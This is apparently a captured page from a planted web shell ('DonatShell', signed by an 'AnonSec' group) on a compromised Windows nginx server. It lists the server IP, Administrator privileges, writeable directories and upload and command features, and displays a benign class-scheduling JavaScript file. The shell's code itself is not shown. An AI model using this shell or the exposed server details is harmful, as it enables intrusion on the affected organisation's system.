GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Scheduler/Schedule/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Scheduler/Schedule/schedule2.js
"use strict";
// Schedule/schedule2.js
// For use by Jim Martinson. Used for multi day drag/drop to move a class with multiple meetings.

let NewMeeting_scmId_Count = 0; // Begining scmId add for new meetings.
// MoveClass_DialogClick(evt)
// 
function MoveClass_DialogClick(evt) {
	var DEBUG = true;
	evt = (evt) ? evt : window.event;
	if ( DEBUG ) { console.group(PC+'MoveClass_DialogClick[evt.id='+evt.id+'] dragElement='+JSON.stringify(dragElement),CG); }
	// Get current checkbox day and status.
	var IsChecked = evt.checked;
	var WeekdayD_Original = evt.value;
	if ( DEBUG ) { console.log('IsChecked='+IsChecked+' WeekdayD_Original='+WeekdayD_Original); }
	// BEGIN Make meeting changes based on checkbox status.
	let i; // User for loop indexes.
	let scId = dragElement.scId;
	if ( DEBUG ) { console.log(PC+'SCMnow[scId]='+D_formatJSONstring(SCMnow[scId]),CA); }
	let scmId = dragElement.scmId;
	if ( DEBUG ) { console.log(PC+'SCMnow['+scId+'].length='+SCMnow[scId].length,CL); }
	let ClassMeetingIndex;
	// Find the ClassMeetingIndex.
	let classMeetingLength = SCMnow[scId].length;
	for ( ClassMeetingIndex=0; ClassMeetingIndex<classMeetingLength; ClassMeetingIndex++ ) { // Loop thru class meetings.
		if ( SCMnow[scId][ClassMeetingIndex].scmId === scmId ) {
			break;
		}
	} // Loop thru class meetings.
	if ( DEBUG ) { console.log(PC+'ClassMeetingIndex='+ClassMeetingIndex,CI); }
	// Fine the OriginalClassMeetingIndex.
	var OriginalClassMeetingIndex = null;
	let classMeetingOriginalLength = SCMold[scId].length;
	for ( OriginalClassMeetingIndex=0; ClassMeetingIndex<classMeetingOriginalLength; OriginalClassMeetingIndex++ ) {
		if ( SCMold[scId][OriginalClassMeetingIndex].scmId === scmId ) {
			break;
		}
	}
	let dayCount_Original = SCMold[scId][OriginalClassMeetingIndex].days.length;
	//if ( DEBUG ) { console.log('SCMold['+scId+']='+D_formatJSONstring(SCMold[scId])); }
	//if ( DEBUG ) { console.log('SCMnow['+scId+']='+D_formatJSONstring(SCMnow[scId])); }
	if ( DEBUG ) { console.log(PC+'SCMnow['+scId+']['+ClassMeetingIndex+']='+D_formatJSONstring(SCMnow[scId][ClassMeetingIndex]),CI); }
	if ( DEBUG ) { console.log(PC+'SCMnow['+scId+']['+ClassMeetingIndex+'].days='+SCMnow[scId][ClassMeetingIndex].days,CL); }
	
	let WeekdayNumber_Original =  GetWeekdayNumber(WeekdayD_Original);

	
	let Weekday_NumberMoved = WeekdayNumber_Original + SCMnow[scId][ClassMeetingIndex].dayDiff;
	if ( DEBUG ) { console.log(PC+`WeekdayNumber_Original = ${WeekdayNumber_Original}, Weekday_NumberMoved = ${Weekday_NumberMoved}, SCMnow[${scId}][${ClassMeetingIndex}].dayDiff = ${SCMnow[scId][ClassMeetingIndex].dayDiff}`,CL); }
	let WeekdayD_Moved= GetWeekdayD(Weekday_NumberMoved);
	if ( DEBUG ) { console.log(PC+`WeekdayD_Original = ${WeekdayD_Original}, WeekdayD_Moved = ${WeekdayD_Moved}`,CL); }
	let mTime_Original = dragElement.original_mTime;
	let mTime_Moved = mTime_Original + SCMnow[scId][ClassMeetingIndex].mbTimeDiff;
	if ( DEBUG ) { console.log(PC+`mTime_Original = ${mTime_Original}, mTime_Moved = ${mTime_Moved}`,CL); }
	let bTime_Orginal = ConvertMinutesToTime(mTime_Original);
	let bTime_Moved = ConvertMinutesToTime(mTime_Moved);
	if ( DEBUG ) { console.log(PC+`bTime_Orginal = ${bTime_Orginal}, bTime_Moved = ${bTime_Moved}`,CL); }
	let eTime_Orginal = SCMold[scId][OriginalClassMeetingIndex].eTime;
	let emTime_Moved = ConvertTimeToMinutes(eTime_Orginal) + SCMnow[scId][ClassMeetingIndex].mbTimeDiff;
	let eTime_Moved = ConvertMinutesToTime(emTime_Moved);
	if ( DEBUG ) { console.log(PC+`eTime_Orginal = ${eTime_Orginal}, eTime_Moved = ${eTime_Moved}`,CL); }
	//let eTime_Current = SCMnow[scId][ClassMeetingIndex].eTime;
	//let meTime_Current = ConvertTimeToMinutes(eTime_Current);
	//if ( DEBUG ) { console.log(PC+`eTime_Current = ${eTime_Current}, meTime_Current = ${meTime_Current}`,CL); }
	
	// Calculate possible div ids.
	let divIds_Current = [];
	let divIds_Original = [];
	let divIds_Moved = [];
	// Add original divs.
	SCMold[scId][OriginalClassMeetingIndex].days.forEach(function(day) {
		let thisDivId = `calendar_class_${scId}_${day}${mTime_Original}`;
		divIds_Original.push(thisDivId);
		if (document.getElementById(thisDivId)) { divIds_Current.push(thisDivId); }
	});
	// Add current divs.
	SCMnow[scId][ClassMeetingIndex].days.forEach(function(day) {
		let thisDivId = `calendar_class_${scId}_${day}${mTime_Moved}`;
		divIds_Moved.push(thisDivId);
		if (document.getElementById(thisDivId)) { divIds_Current.push(thisDivId); }
	});
	if ( DEBUG ) { console.log(PC+`divIds_Current=${divIds_Current}`,CI); }
	if ( DEBUG ) { console.log(PC+`divIds_Original=${divIds_Original}`,CI); }
	if ( DEBUG ) { console.log(PC+`divIds_Moved=${divIds_Moved}`,CI); }
	
	// <input type="checkbox" class="movemeetingcheckbox" name="moveMeeting_2" id="chk_moveMeeting_M" onclick="MoveClass_DialogClick(this);" value="M" data-moved-day="U" checked="">
	
	// Get meeting checkboxes.
	let MeetingCheckBoxes = document.querySelectorAll('input[id^="chk_moveMeeting_"]');
	let MeetingCheckBoxesCount = MeetingCheckBoxes.length;
	let MeetingCheckBoxStates = [];
	// Determine which are checked or unchecked.
	let MeetingCheckBoxCheckedCount = 0;
	for( i = 0; i < MeetingCheckBoxesCount; i++ ) {
		let eMeetingCheckBox = MeetingCheckBoxes[i];
		let MovedDay = eMeetingCheckBox.getAttribute('data-moved-day');
		let OriginalDay = eMeetingCheckBox.value;
		let Checked = 0;
		if ( eMeetingCheckBox.checked ) {
			Checked = 1;
			MeetingCheckBoxCheckedCount++;
		}
		if ( DEBUG ) { console.log(PC+`MovedDay = ${MovedDay}, OriginalDay = ${OriginalDay}, Checked = ${Checked}`,CL); }
		MeetingCheckBoxStates[i] = { MovedDay:`${MovedDay}`, OriginalDay:`${OriginalDay}`, Checked:Checked };
	}
	if ( DEBUG ) { console.log(PC+'MeetingCheckBoxCheckedCount = '+MeetingCheckBoxCheckedCount,CL); }
	if ( DEBUG ) { console.log(PC+'MeetingCheckBoxStates = '+D_formatJSONstring(MeetingCheckBoxStates),CI); }
	if ( DEBUG ) { console.log(PC+`MeetingCheckBoxStates[0].MovedDay = ${MeetingCheckBoxStates[0].MovedDay}, MeetingCheckBoxStates[0].OriginalDay = ${MeetingCheckBoxStates[0].OriginalDay}, MeetingCheckBoxStates[0].Checked = ${MeetingCheckBoxStates[0].Checked}`,CL); }
	// Update SCMnow[scId][ClassMeetingIndex]. This is the moved meeting. Simply update the days to the checked checkboxes.
	let CheckedDays = '';
	let UncheckedDays = '';
	for( i = 0; i < MeetingCheckBoxesCount; i++ ) {
		if ( DEBUG ) { console.log(PC+`+MeetingCheckBoxStates[${i}].Checked = ${+MeetingCheckBoxStates[i].Checked}`,CL); }
		if (MeetingCheckBoxStates[i].Checked) { CheckedDays += MeetingCheckBoxStates[i].MovedDay; } else { UncheckedDays += MeetingCheckBoxStates[i].OriginalDay; }
	}
	if ( DEBUG ) { console.log(PC+`CheckedDays = ${CheckedDays}, UncheckedDays = ${UncheckedDays}`,CL); }
	
	if ( MeetingCheckBoxCheckedCount > 0 ) { // Are any checkboxes checked?
		if ( MeetingCheckBoxCheckedCount !== MeetingCheckBoxesCount ) { // Are any unchecked?
			if ( DEBUG ) { console.log(PC+`dragElement.scmNewIndex = ${dragElement.scmNewIndex}`,CI); }
			// Some are checked.
			// Update the moved days.
			SCMnow[scId][ClassMeetingIndex].days = [...CheckedDays];
			// Create a new meeting from the original.
			SCMnow[scId][dragElement.scmNewIndex] = JSON.parse(JSON.stringify(SCMold[scId][OriginalClassMeetingIndex]));
			// Update the original days.
			SCMnow[scId][dragElement.scmNewIndex].days = [...UncheckedDays];
		} else { // Are any unchecked?
			// All are checked.
			// Update the moved days.
			SCMnow[scId][ClassMeetingIndex].days = [...CheckedDays];
			// Set the SCMnow back to original.
			SCMnow[scId][ClassMeetingIndex] = CopyObject(SCMold[scId][OriginalClassMeetingIndex]);
			// Eliminate any added meeting.
			SCMnow[scId][dragElement.scmNewIndex] = {}; // Make sure there is one to eliminate.
			SCMnow[scId].pop();
		} // Are any unchecked?
	} else { // Are any checkboxes checked?
		// None are checked.
		// Set the SCMnow back to original.
		SCMnow[scId][ClassMeetingIndex] = CopyObject(SCMold[scId][OriginalClassMeetingIndex]);
		// Eliminate any added meeting.
		SCMnow[scId][dragElement.scmNewIndex] = {}; // Make sure there is one to eliminate.
		SCMnow[scId].pop();
	} // Are any checkboxes checked?
	
	
	
	if ( DEBUG ) { console.log(PC+'SCMnow[scId]='+D_formatJSONstring(SCMnow[scId]),CI); }
	
	//return;
	
	
	/** / // Determine if the following code in needed. 4/13/22 jfm
	// It looks like it is needed to return the class meeting to original day/time if not moved.
	let ClassMeetingCount; // Added for jslint. 4/13/22 jfm
	if ( IsChecked ) { // Is this meeting checkbox checked?
		// Checked.
		// Yes, this meeting checkbox was just checked.
		// Put the meeting back to the moved state.
		// Fix day.
		
		//let mbTime = 
		
		
	/** /			
	scId = dragElement.scId;
	scmId = dragElement.scmId;
	From_day = dragElement.original_day;
	
	diDay = dragElement.droppedIn_day;
	diMtime = dragElement.droppedIn_mTime;
	
	var diWeekdayNumber = GetWeekdayNumber(diDay);
	var fromWeekdayNumber = GetWeekdayNumber(From_day);
	Difference_day = diWeekdayNumber - fromWeekdayNumber; // Get the day difference.
	Difference_mTime = diMtime - Original_mTime; // Get the mTime difference.
		/** /
		
	} else { // Is this meeting checkbox checked?
		// Unchecked.
		// No, this meeting checkbox was just un-checked.
		
		
		
		
		// Remove day from current meeting.
		const index = SCMnow[scId][ClassMeetingIndex].days.indexOf(WeekdayD_Moved);
		if (index > -1) {
			SCMnow[scId][ClassMeetingIndex].days.splice(index, 1);
		}
		// Create a new meeting on the original day and time.
		if ( DEBUG ) { console.log(PC+'ClassMeetingCount = '+ClassMeetingCount,CL); }
		SCMnow[scId][ClassMeetingCount] = JSON.parse(SCMold[scId][OriginalClassMeetingIndex]);
		//SCMnow[scId][ClassMeetingCount].moveOldId = SCMnow[scId][ClassMeetingIndex].moveOldId;
		//SCMnow[scId][ClassMeetingCount].moveNewId = SCMnow[scId][ClassMeetingIndex].moveNewId;
		SCMnow[scId][ClassMeetingCount].scmId = `_${scmId}_${NewMeeting_scmId_Count}`;
		SCMnow[scId][ClassMeetingCount].days = [WeekdayD_Original]; // Fix the day.
		if ( DEBUG ) { console.log(PC+'SCMnow[scId]='+D_formatJSONstring(SCMnow[scId]),CI); }
		
		// Put the meeting back to the original state.
		// Fix day.
		
		
	} // Is this meeting checkbox checked?
	
	// Merge meetings.
	
	
	// Cleanup the information in the class meeting divs.
	// Remove moved day from moved divs.
	for ( let i = 0; i < dayCount_Original; i++ ) {
		let daysId = `days_${scmId}_${i}`;
		let eDays = document.getElementById(daysId);
		eDays.innerHTML = eDays.innerHTML.replace(WeekdayD_Moved,'');
	}
	// Add original day to original divs.
	//SCMnow[scId][ClassMeetingCount].days
	
	//dayCount_Original
	//divIds_Current  bTime_442_2 eTime_442_2
	
	//calendar_class_8_T480 `calendar_class_${scId}_${day}${eTime}`
	
	Meetings (check all)
Valid		
		Arranged --or--
		Days and times
/**/
	
	
	/**/
	if ( DEBUG ) { console.groupEnd(); }
} // END MoveClass_DialogClick.

Anon7 - 2022
AnonSec Team